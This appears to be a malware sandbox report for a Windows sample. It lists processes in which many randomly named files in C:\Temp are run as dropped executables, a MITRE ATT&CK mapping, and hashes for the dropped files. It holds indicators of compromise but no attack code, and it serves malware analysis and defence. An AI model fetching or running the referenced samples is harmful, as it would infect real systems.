      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=6720,i,2724690440401001020,8307022689751706192,262144 --field-trial-handle=2328,i,15224874163278825023,7573913332648833207,262144 --variations-seed-version --mojo-platform-channel-handle=5584 /prefetch:10
      4⤵
      PID:5360
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5336,i,10618978954259104207,16811295060234921279,524288 --field-trial-handle=2328,i,15224874163278825023,7573913332648833207,262144 --variations-seed-version --mojo-platform-channel-handle=5424 /prefetch:14
      4⤵
      PID:3888

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:340

C:\Temp\ezxrpjhbzurmkecw.sys
C:\Temp\ezxrpjhbzurmkecw.sys
1⤵
- Executes dropped EXE
PID:3528

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
1⤵
PID:1952

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
1⤵
PID:412

C:\Temp\ecwurmjecw.sys
C:\Temp\ecwurmjecw.sys
1⤵
- Executes dropped EXE
PID:1680

C:\Temp\jhtrolgdby.sys
C:\Temp\jhtrolgdby.sys
1⤵
- Executes dropped EXE
PID:3132

C:\Temp\rligbytrlj.sys
C:\Temp\rligbytrlj.sys
1⤵
- Executes dropped EXE
PID:124

C:\Temp\idbvtnlidb.sys
C:\Temp\idbvtnlidb.sys
1⤵
- Executes dropped EXE
PID:1644

C:\Temp\vtnlfdxvpn.sys
C:\Temp\vtnlfdxvpn.sys
1⤵
- Executes dropped EXE
PID:4604

C:\Temp\vtnlfdxnif.sys
C:\Temp\vtnlfdxnif.sys
1⤵
- Executes dropped EXE
PID:1380

C:\Temp\usmkifaxvp.sys
C:\Temp\usmkifaxvp.sys
1⤵
- Executes dropped EXE
PID:4636

C:\Temp\xrpnhfzxrp.sys
C:\Temp\xrpnhfzxrp.sys
1⤵
- Executes dropped EXE
PID:4844

C:\Temp\ezxrpjhezw.sys
C:\Temp\ezxrpjhezw.sys
1⤵
- Executes dropped EXE
PID:4444

C:\Temp\rmjebwuomg.sys
C:\Temp\rmjebwuomg.sys
1⤵
- Executes dropped EXE
PID:5956

C:\Temp\qojgbztrom.sys
C:\Temp\qojgbztrom.sys
1⤵
PID:5516

C:\Temp\eyvtnlgdyw.sys
C:\Temp\eyvtnlgdyw.sys
1⤵
PID:2464

C:\Temp\tnlfdxvqni.sys
C:\Temp\tnlfdxvqni.sys
1⤵
PID:5612

C:\Temp\lfdayvqnig.sys
C:\Temp\lfdayvqnig.sys
1⤵
PID:5040

C:\Temp\icausqkifa.sys
C:\Temp\icausqkifa.sys
1⤵
PID:5744

C:\Temp\caxvpnhfcx.sys
C:\Temp\caxvpnhfcx.sys
1⤵
PID:3752

C:\Temp\cwuomhezxr.sys
C:\Temp\cwuomhezxr.sys
1⤵
PID:2100

C:\Temp\xrpmgebzxr.sys
C:\Temp\xrpmgebzxr.sys
1⤵
PID:1744

C:\Temp\ecwuomgezw.sys
C:\Temp\ecwuomgezw.sys
1⤵
PID:3428

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

ecwupmkezu.exe

Path C:\Temp\ecwupmkezu.exe
Size 361KB
SHA256 f1e6b94790a73a1c7a26485b801f29015a65bbd27882d888a5a779e6cc1c6069
MD5 d471379942324a5d7d634a406e4bf38c
SHA1 91b079f68af35cdb7dfc28decf423dea26186cd2
SHA512 d0fb387186e773105dc308a74c19b55c96a5f7bd3021eeaa2cd79e0f9fa1f93e858948522cc48d19bf0ce1fff699ff9243752fc8bf1e3466405a96a8d61bc2d5
SSDEEP 6144:yflfAsiL4lIJjiJcbI03GBc3ucY5DCSjX:yflfAsiVGjSGecvX
TLSH
T152747C04BAA4F0F6DD95047800EBAF36967EB4281726CBC7E354CE5D99113C3A9346AF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ecwurmjecw.sys

Path C:\Temp\ecwurmjecw.sys
Size 293KB
SHA256 e5cda15daf77debbb0f51172dd9778245314108a55945b8fd88afe9109962ccb
MD5 d68d62a83ff1baedc469d49b5020785c
SHA1 a3c7fe7eea666086bbd5db0b4268200692421b6d
SHA512 38c0a508e87ee2c01cac1c7504ca96f3641d2bb9aeacf90fdbde8890143fb65c79c025edb751022a63e4f015438bdf8496c20f783e8885f983fa752f1c1e8f23
SSDEEP 3072:vtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pypSwbYtlZ9EdV:vIJjiJcbI03GBc3ucY5DCSj
TLSH
T125545B44AAA4B0F6D9D5043C01EFAF3A967EB4281726CBC3E354CE5D99017C7A93069F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

eywtoljgey.exe

Path C:\Temp\eywtoljgey.exe
Size 361KB
SHA256 2260e7d3bd144006dfae1886d82e491c08a80405cd9966e4a6d386718d51c4de
MD5 64f9f05a75481684dcab5cbacc982dff
SHA1 4806c3115c4bcc8a0c40197817cbf210f99eb5cc
SHA512 b6132187973739eb852a7bfb398a400b5eb2119be33b127c218e79a594047c0e32b87eba391a2cf700550b3ca2ed62bac36b513955fa17fd561b5e725941661c
SSDEEP 6144:UflfAsiL4lIJjiJcbI03GBc3ucY5DCSjX:UflfAsiVGjSGecvX
TLSH
T1C2747C04BAA4F0F6DD95047800EBAF36967EB4281726CBC7E354CE5D99113C3A9346AF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ezxrpjhbzurmkecw.exe

Path C:\Temp\ezxrpjhbzurmkecw.exe
Size 361KB
SHA256 5b7740885fcbc9bcbe2b100c5781e0d895a05a67f98745340e6e62b1f3c74fdd
MD5 e162e1061487cb690473e3bc3b80b904
SHA1 b90ed1e3ad71263721c4025c41cc7edd6a85bb55
SHA512 b104d2129df9c33f4377ecd9d2d352d7a192c49f5fc6db711a2ab307a826042e811202405d188e57a1652c145ac25e6c4a51d90f333591074ed4dd9a1990676b
SSDEEP 6144:CflfAsiL4lIJjiJcbI03GBc3ucY5DCSjX:CflfAsiVGjSGecvX
TLSH
T119747C04BAA4F0F6DD95047800EBAF36967EB4281726CBC7E354CE5D99113C3A9346AF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ezxrpjhbzurmkecw.sys

Path C:\Temp\ezxrpjhbzurmkecw.sys
Size 293KB
SHA256 fdeaa6a53954b14eb3066344fba46e2ed0e7bcde9d25b7683ba37d885231b7c3
MD5 115c935689aaf5ee59c5196229672fb2
SHA1 5228e970463c06c8b1f40562723f452b896b4247
SHA512 1f99bce25db01d82065241386d70edb3e71658b6b28e046e798cf90ffd7a32673763c3dcca0ac1701630f9cf85bd81887046475129d12ba603ffabeaf7b27935
SSDEEP 3072:RtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pypSwbYtlZ9EdV:RIJjiJcbI03GBc3ucY5DCSj
TLSH
T1B5545B44AAA4B0F6D9D5043C01EFAF3A967EB4281726CBC3E354CE5D99017C7A93069F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_ecwupmkezu.exe

Path C:\Temp\i_ecwupmkezu.exe
Size 361KB
SHA256 415c1db977fb740f878c3c25897b438a6789480ac2d09f787ef8b5c19c19139e
MD5 6303a0c7c2fa829f51cad0e9322a1acb
SHA1 04cd0e37729149cf6d1b965d4698aeae75af0d0b
SHA512 fda9c81116ba22aba1706ba21c2bd6e10c921dac9585e04f3732faff5a054b59a0692019a41ea3552846bf15520da72094ae4b80b113447c140f407d79cd1ada
SSDEEP 6144:9flfAsiL4lIJjiJcbI03GBc3ucY5DCSjX:9flfAsiVGjSGecvX
TLSH
T1F8747C04BAA4F0F6DD95047800EBAF36967EB4281726CBC7E354CE5D99113C3A9346AF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_eywtoljgey.exe

Path C:\Temp\i_eywtoljgey.exe
Size 361KB
SHA256 9e4417d2c59ba0365176f7b0531afb6cf2b5c6eac81db4afb414f43b18be58b0
MD5 14b1cad3ca6285d83d04c17a8d939596
SHA1 424da2551cede5c48e9b5a20919e3fe43aa3dee2
SHA512 1f6ee49eab1f6c76268829b53de061c688b8bdf4fdbd767862af58b5b2e2a2ac022a66077760b2432a0652bc01cfaf3636a63a278e612dece28652692fbb16c9
SSDEEP 6144:xflfAsiL4lIJjiJcbI03GBc3ucY5DCSjX:xflfAsiVGjSGecvX
TLSH
T1AB747C04BAA4F0F6DD95047800EBAF36967EB4281726CBC7E354CE5D99113C3A9346AF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_qnigaysqki.exe

Path C:\Temp\i_qnigaysqki.exe
Size 361KB
SHA256 4a8d134962e5f3d026f9b30b76f69734d475533d7ff30f2fefa4c10b3a448c0e
MD5 fb800cbea363891c41c0606615f50617
SHA1 a1127970cf7ef15335f84b48b93977d3e815a3f9
SHA512 076d9fb63fc1c27d1b7350db6b73473148c5d898f4d4824b97aadd5470c23eded88002a404424f2c6a4330f7645f80e08c7bbe1eb1db4975c4e13394163366e1
SSDEEP 6144:QflfAsiL4lIJjiJcbI03GBc3ucY5DCSjX:QflfAsiVGjSGecvX
TLSH
T1C2747C04BAA4F0F6DD95047800EBAF36967EB4281726CBC7E354CE5D99113C3A9346AF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_rljdbytjdb.exe

Path C:\Temp\i_rljdbytjdb.exe
Size 361KB
SHA256 170fbf8af52911acce9195032943c906bb9f0cfc176d77d11d7f4b2a25fc240a
MD5 16d868e2290b9e1dd439db6534d17a82
SHA1 d17d98535580d036d919470389065c2d458d482a
SHA512 ae5656322dd920630af8c6d47e923d00652c038df4f574f5486b0ece2df35917bc251d16e361a2f982b968fdf5e4b0989878195f5ff26a0041e75e6ccc31cf4e
SSDEEP 6144:JflfAsiL4lIJjiJcbI03GBc3ucY5DCSjX:JflfAsiVGjSGecvX
TLSH
T1B5747C04BAA4F0F6DD95047800EBAF36967EB4281726CBC7E354CE5D99113C3A9346AF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_vtqoigaywq.exe

Path C:\Temp\i_vtqoigaywq.exe
Size 361KB
SHA256 db72921b1a5b080f321cc2b69a94df73f033a165502acea6c8554cf696cf50f3
MD5 cc37334d6b04965927d23c73a6dd2713
SHA1 00038347c9bd12db2dc20f3d589523e091f97c15
SHA512 b4c0db3865ad92410b814afc5736c1f4072c8a3f4aef7a2b57aad47d267764626f70b3f4895b63918ca8fd24f90e1d116b96ab85585380c8d48fdf3e13dea56a
SSDEEP 6144:yflfAsiL4lIJjiJcbI03GBc3ucY5DCSjX:yflfAsiVGjSGecvX
TLSH
T199747C04BAA4F0F6DD95047800EBAF36967EB4281726CBC7E354CE5D99113C3A9346AF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_wuomjecwuo.exe

Path C:\Temp\i_wuomjecwuo.exe
Size 361KB
SHA256 2fd3a90b3d529e75dcfb2be42afa31fca2026862169df96ca0997844f81785ab
MD5 147e25ee353a3df216306cacd836d6f3
SHA1 251e14bbd68b3850a6b335b71a0cf1c610ff65d4
SHA512 50a9070dbb475ee700583efa2000389c91c381b3297ca8644b71efcc4868bb276b7b7571e0278161b061c870a316b4d3f41ab334a7dbf3b142b2f6d6e0bf22e6
SSDEEP 6144:/flfAsiL4lIJjiJcbI03GBc3ucY5DCSjX:/flfAsiVGjSGecvX
TLSH
T16A747C04BAA4F0F6DD95047800EBAF36967EB4281726CBC7E354CE5D99113C3A9346AF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

idbvtnlidb.sys

Path C:\Temp\idbvtnlidb.sys
Size 293KB
SHA256 0ed19cecf40492611f75596717055ce8c64d7a2dda6d6ad7f3c5c32c48539a6c
MD5 b3a7c448648e7e42a846715f4f40afd4
SHA1 289facf5c9f6259e8e40d096e11017e4a7716c38
SHA512 88e1e69f277670b70f842c93b62841a0591dbfdf5ffbdc65c8a30f5e2c0e5e64ade3e476dd52d8dbfa8f2b91a1ff0073813c036aee538283ba7c8bb960434031
SSDEEP 3072:gtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pypSwbYtlZ9EdV:gIJjiJcbI03GBc3ucY5DCSj
TLSH
T114545B44AAA4B0F6D9D5043C01EFAF3A967EB4281726CBC3E354CE5D99017C7A93069F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

jhtrolgdby.sys

Path C:\Temp\jhtrolgdby.sys
Size 293KB
SHA256 ac2fb96e306b801239eb17f48179493804f2313eb535b63d4b39740d07b2512f
MD5 ac6b58df852480bca628947c37fe88d5
SHA1 006101c78f9cdbfe7cdf3f64609dd37ac68e0470
SHA512 5291b4e3e7137159973cb2e45bb7ab63fcfeb16d548ab061124ad613d23c8717bc5eedfaa6266f562936f585e6fac2643e6bb68cf00ec1f8617c18d662988f6c
SSDEEP 3072:KtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pypSwbYtlZ9EdV:KIJjiJcbI03GBc3ucY5DCSj
TLSH
T139545B44AAA4B0F6D9D5043C01EFAF3A967EB4281726CBC3E354CE5D99017C7A93069F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

qnigaysqki.exe

Path C:\Temp\qnigaysqki.exe
Size 361KB
SHA256 ebe75757a7e009404d09bd40cdbe89dc246248a852865da1ab93734d42edcdb8
MD5 53b8a79436dca0a2d94f95122c353be7
SHA1 3ac2b56efb3fcbcc50d2da3075a5bc6cc474ea1c
SHA512 52ca42f760b624897e6adea29a9e4e5566c13b237b046bf689dbc25046fecf2034feedd03f8db8dd94a75abcfe9a8d6f47b49953f8c5c9be3ee259cf03b87581
SSDEEP 6144:EflfAsiL4lIJjiJcbI03GBc3ucY5DCSjX:EflfAsiVGjSGecvX
TLSH
T142747C04BAA4F0F6DD95047800EBAF36967EB4281726CBC7E354CE5D99113C3A9346AF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

rligbytrlj.sys

Path C:\Temp\rligbytrlj.sys
Size 293KB
SHA256 3eaeb5e838b5a98aa93d7f291b9b2db34c253dfd1dd3c230caa2f59ba789e848
MD5 371378e4358c8a13b1612a88d2c62725
SHA1 1a11d0cf504830d1cb1b39dc786155004bbdde65
SHA512 c1116a699d7802e1f9811d362468a72192f5fda02beccc54af86cde35e25bbe1e1d40d25156c98999ebdb181fec02c7fdca336c543748a308da23867a89dd250
SSDEEP 3072:ztKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pypSwbYtlZ9EdV:zIJjiJcbI03GBc3ucY5DCSj
TLSH
T128545B44AAA4B0F6D9D5043C01EFAF3A967EB4281726CBC3E354CE5D99017C7A93069F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

rljdbytjdb.exe

Path C:\Temp\rljdbytjdb.exe
Size 361KB
SHA256 86269a21f5badd12f23d94c3f4c168e62872893e93f4e030e0488c0d0d68db29
MD5 350f7d4c99d8b84935333e1a608422a7
SHA1 134f7853811c971eccca69cb779ea4f3d8e3a1d7
SHA512 1f117cf4a740d9cc2ebf74d29421fcfd36901edf8f41664443fdd5d9d6ef36da65f7ad25f21d1ae69bea30ad304905162be9d7590a683ca144650eb7f3d2f859
SSDEEP 6144:ZflfAsiL4lIJjiJcbI03GBc3ucY5DCSjX:ZflfAsiVGjSGecvX
TLSH
T14C747C04BAA4F0F6DD95047800EBAF36967EB4281726CBC7E354CE5D99113C3A9346AF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

vtnlfdxvpn.sys

Path C:\Temp\vtnlfdxvpn.sys
Size 293KB
SHA256 d912e58422170fc0f3d986a136438f329896f09b8fa0b6825f2623d93793be27
MD5 f951ff5b778b495dc951467a8170999b
SHA1 08362e7c3dba1ef2534a6d3e41a1f33dd47691cb
SHA512 add8a6ac001c037cf19f502462cb2969c59475552b960916d6500b972353bc5884c0ee7cf20953cbab6768acdcf90056d21f799231e07315fb8f4b4ccc90781f
SSDEEP 3072:DtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pypSwbYtlZ9EdV:DIJjiJcbI03GBc3ucY5DCSj
TLSH
T12D545B44AAA4B0F6D9D5043C01EFAF3A967EB4281726CBC3E354CE5D99017C7A93069F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

vtqoigaywq.exe

Path C:\Temp\vtqoigaywq.exe
Size 361KB
SHA256 b5ae81d876e7c904d87e80c3ed3ca2b93b1b8540f088c77f8e2e9186460f6228
MD5 d41802756cf9c9fd6ee03d47d01732ea
SHA1 bafc2eef6deec42639926f479b176cc495a772e1
SHA512 ded9c14d9acd3dee841e246a9feeef5a53b65a944b62bc091cb7287d7ea23e8f5c9543871437a2ed7576a77a55ad31acae45de4e944a9c084c47794f5c372ec8
SSDEEP 6144:LflfAsiL4lIJjiJcbI03GBc3ucY5DCSjX:LflfAsiVGjSGecvX
TLSH
T18E747C04BAA4F0F6DD95047800EBAF36967EB4281726CBC7E354CE5D99113C3A9346AF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

wuomjecwuo.exe

Path C:\Temp\wuomjecwuo.exe
Size 361KB
SHA256 d792485ba7f2cc95b2160684688871435edaf299b9a63fc2c2b4f75276eb4c62
MD5 3713d1383bb3a143b89d8112f23f68d0
SHA1 8310d414072184aace97cdb0bc5d2639509a1a98
SHA512 66fd6fd34acc2fd00520e5871856c46b553831dd3bc76011c02d6c79b75c1d08d962cab20bd459cbab06d7321cdf07d05dca27b25678aa2945419dbab754e225
SSDEEP 6144:GflfAsiL4lIJjiJcbI03GBc3ucY5DCSjX:GflfAsiVGjSGecvX
TLSH
T16A747C04BAA4F0F6DD95047800EBAF36967EB4281726CBC7E354CE5D99113C3A9346AF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 18a644ba613d5b4137dabc346f57eca622b6888922eaec751025ab3c0a002fd5
MD5 5eddc74c05def624cfd47ea0a7e304a5
SHA1 b5f795fcc3846bb781e66e0373fce119975b2659
SHA512 1c777d774c154e89b80817ce7344495d83eecf133c36e0ad7c60dd14d76e628697535cc3fc379ca4eeb776f3bea5096f94d0fd76a2394ecd2e52f5ca8dc0053f
TLSH
T133D09B5672455C4CD641343224E55217E3008821654546194353F0768DD668717ABD9A
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 da739d58d61b2ac7b5d9bb7ad60982cb15b364d9c7c9297fd0c9719c271cd985
MD5 2d2e0ac0da9a175b4b6a8be7c9d51cce
SHA1 ff15c8a5ff11faefae3f7491c7968a2163702b81
SHA512 0ae78f15909f04e1a81109917b8eeb5b8062a49558d8a40f15c02076b087f36e82b88b329e9d984fc68c62cb15408123b9db7f705f2745bfefc30b5aa2e164e6
TLSH
T1EAD09B5A72455D4CD641343224E55217E3108821754546194253F0768DD668717ABD9E
MD5 SHA1 SHA512 TLSH

Submit Download

BookmarkMergedSurfaceOrdering

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\BookmarkMergedSurfaceOrdering
Size 6B
SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
MD5 377d072e137022223a370760763420bb
SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
MD5 SHA1 SHA512

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 2KB
SHA256 0487aa3386ed9633a83b9858aa6e9e4bc7245ff74eebb790706ddf26a4ed13e5
MD5 3142cbd18c9c51534f2b1557690d7ff6
SHA1 90defc1242fdf87ecdf5d6ad00c5a32d61a2d833
SHA512 b33a01fb38b095164d06015af7f9235483fdb5fbc115f57d21e2f81ecc28ff01e00b453173e8fb90445b98fdec5a23dac116988641259e92069902643e89381b
TLSH
T13C513EC7132659E8E72089BFEAE2645A72F5A4655E0F2E0018BCDFB45D02F21D1F021F
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index~RFe596b53.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index~RFe596b53.TMP
Size 2KB
SHA256 aac785f4c1d3807ad8cdf3e023d2f7d586a5e0b776df048da065fff406e3acc0
MD5 8a58ed025c20fdca5f8d8421b3999299
SHA1 2e9ea83138163a2e766e00eec81d0a41e7a9b1b2
SHA512 70f4ca0dbd8a61150283619b94c516eab401711f50e5a18855fb75d009c18cb90685b3d0da8cf43be48ba44ae90866c116fbc92f0fcd1fc7b8ef02c6991484c0
TLSH
T164513EC7132659E8E76089BBEAE2645A72F5A4695E0F2E0018FCDFB45D02F21D1F021F
MD5 SHA1 SHA512 TLSH

Submit Download

SiteList-Enterprise.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\SiteList-Enterprise.json
Size 2B
SHA256 44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
MD5 99914b932bd37a50b983c5e7c90ae93b
SHA1 bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f
SHA512 27c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd
MD5 SHA1 SHA512

Submit Download

Edge Profile.ico

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Edge Profile.ico
Size 70KB
SHA256 31a226211c491e1b0832d4cd3cf34d97165e24a7ce4ec655259cd188f3a2bd88
MD5 efe54a870e0f5ff28d7e00036b861065
SHA1 10663a71c9815382ca5a1689dfcebe737c557b1d
SHA512 4d7ed9d3e22a58f0e169c9200e351d3a938c82ab7920567f67bf29d33b28192329ea05657d1077aebaf2c2b5151eb50c84e5ab590733ff824389566d93381c01
SSDEEP 1536:fAlMWz7vLDtDSVlXXwpFlorgLUxF+nubjUDSlBczkF1D/u1:fvuWAUxFDbY+0zkjDG1
TLSH
T1DA639F406A6479E8E814CBF59C69B7D30B95CFDC51A252E831F4FE7AB681494C90CFC4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 2KB
SHA256 0bb345e1919ad602f683b03abebc16b6b429db2df91e5318aa82e5adb982b7c5
MD5 b6bb09c584e91bfe7bd9d9ade9dbf2c3
SHA1 7349c43ef75678b3a8f78e6915ab110a607f6ee5
SHA512 4976ee71770bccd49a97f6fb1ee6d2608c185e7811f0b2955f460d9fc7ab7a00c366a8c01763c603b9a4b9ce9ff40f48ea31fa83be627fa4e392578ec47f7476
TLSH
T1B6519BF3C7E8862E890156F0AB186E2BCE1D0A15432C3D5AC9E4EE5B93E2471E141A5E
MD5 SHA1 SHA512 TLSH

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

Sdch Dictionaries

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries
Size 40B
SHA256 6028bd681dbf11a0a58dde8a0cd884115c04caa59d080ba51bde1b086ce0079d
MD5 20d4b8fa017a12a108c87f540836e250
SHA1 1ac617fac131262b6d3ce1f52f5907e31d5f6f00
SHA512 507b2b8a8a168ff8f2bdafa5d9d341c44501a5f17d9f63f3d43bd586bc9e8ae33221887869fa86f845b7d067cb7d2a7009efd71dda36e03a40a74fee04b86856
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 11KB
SHA256 dc968512312284b5901d08f313b3da60ce5ae511aba3928f21277a73a50faecb
MD5 0d36d94d9d97137b72273bf6b7ffc577
SHA1 c073c67501e702655430cbfe7ff40bdeefaa8219
SHA512 771d1ac44b1ef5c4070afab60f018264749ab381f1b97627f5db034077375cd83e696884d64f4b13a382f34bfb1338e68df2fb52cc0ecdad615803c9339d7a3d
SSDEEP 192:sxRtRnC//frs/0MAZw0gzoA8p9H/g6+WNC44/YEb31GnFIgVkJ:sxRtE//frs/1eXx/5q/HKW
TLSH
T18B42C7166A28A93B5CCBD31DBB55BF53D2F91073A0902E58F6FC9A1C04EB6DD120780B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 11KB
SHA256 1abfa1e45df5d233599b4c8cfc429615b527a68ef18f8cc957a538895e059064
MD5 685c0cdc8164b35adc3677f3d259e4eb
SHA1 76f1de28489043b1e01a86dcce7e90c3b7997cd2
SHA512 31f135b0704f3845cb8aa454168b7bd3944d054738a306c7d9b73c130e94b0b76fa53dbf70b12982530796509501ac9b6daafad72d21d0cd3ddfcb3b86d97158
SSDEEP 192:sxRaRnC//frsv0MAZw0gzoA8p9H/g6+WNC44/YEb31GnFIgDZkJ:sxRaE//frsv1eXx/5q/HKG
TLSH
T10E42C7166A28AD3B5CCBD31DBB55BF53D2F95073A0902E58B6FC9A1C04EB6DD120780B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 12KB
SHA256 07099ee9d706182d99327eef2d1cbe95e0928796cafdbc91c44ecda5698a96f9
MD5 61cbed1a7b0f07020b8725fd2f309fa3
SHA1 9d976db548107193e563adcc74c2c8ab77d296b2
SHA512 892302e37f30ddb68ee045e8f7065885a34e961f0d011cb55cc63f564d84e0879805cd10056e6bd0954215b403395f5c7abe1ca363aab19fcae805f12e9fe09b
SSDEEP 192:sxRaRnC//frsv0gAZw0gzoA8p9H/g6+WNC44/YEp31GnFIgDzkJ:sxRaE//frsvheXx/5q/JKw
TLSH
T1B842C8156A28AD3B5CCBD71DBB55BF53E2F95073A0901E58B6FC9A1C04EB6CD220740B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences
Size 29KB
SHA256 f52344159055e04a03399442c96ed94f30f3296ac32ba76be2245c8a13f4468c
MD5 8898097e1e8dcdb6cb553fef30d7baae
SHA1 39efe194c75149a8cabf209234994938187af788
SHA512 795489b774a75bf91e31c074e672e9a5c989ef4ce170a420882ffbaa5cd304a385a70d85e51794d5f7052dbeee4b6117fdb764ce61dfbb565e6f244e998b9123
SSDEEP 768:40Dk6DJQD8AF7pLuL7N0DbWgQ6DjfIQDF8F1+UoAYDCx9Tuqh0VfUC9xbog/OVwm:40Dk6DJQD8ATE7N0DbWgQ6DjfIQDFu1v
TLSH
T1E8D2EB7B640CCB7F4F804ADDAD197ACE6D6802CB96D8C98047FA991C02C77EE511A4DB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

sync_diagnostic.log

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\Logs\sync_diagnostic.log
Size 4KB
SHA256 b9e0c2776a9cbb02d8841fdaf97ad43dbb2d84b7cfae4bf88333a5481c381938
MD5 16672eba0f79c96913adf88892d17061
SHA1 52111b7a4843d88d3547b6f58a534b040c561ee4
SHA512 20753713232ba77cb8121172f7b6b773fd7c1c6e06398cceac363bf071a7ef75b140bba4012f1c5818310a8f6a410e61023809ec4530e9ad3307f0db5558b98f
